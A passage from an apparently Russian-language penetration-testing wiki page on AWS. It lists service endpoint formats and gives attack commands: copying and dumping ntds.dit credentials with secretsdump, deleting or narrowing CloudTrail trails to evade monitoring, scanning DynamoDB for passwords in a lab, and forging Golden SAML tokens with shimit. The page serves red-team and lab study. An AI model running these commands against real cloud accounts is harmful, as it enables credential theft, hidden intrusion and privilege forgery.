cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В начале потребуется доступ к AD FS аккаунту из персонального хранилища которого украсть приватный ключ ключ.&lt;br /&gt;
Сделать это можно используя mimikatz, но в примере сделано через библиотеку Microsoft.Adfs.Powershell и powershell&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Пример эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем приватный ключ&lt;br /&gt;
[System.Convert]::ToBase64String($cer.rawdata)&lt;br /&gt;
(Get-ADFSProperties).Identifier.AbsoluteUri&lt;br /&gt;
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule&lt;br /&gt;
&lt;br /&gt;
# Получаем инфу о юзерах - выбираем цель&lt;br /&gt;
aws iam list-users&lt;br /&gt;
&lt;br /&gt;
# Получаем токен&lt;br /&gt;
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file&lt;br /&gt;
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012&lt;br /&gt;
&lt;br /&gt;
# Проверяем текущий аккаунт&lt;br /&gt;
aws opsworks describe-my-user-profile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Проверки безопасности ==&lt;br /&gt;
&lt;br /&gt;
Для администраторов преимущественно.&lt;br /&gt;
&lt;br /&gt;
=== Zeus ===&lt;br /&gt;
&lt;br /&gt;
https://github.com/DenizParlak/Zeus&lt;br /&gt;
&lt;br /&gt;
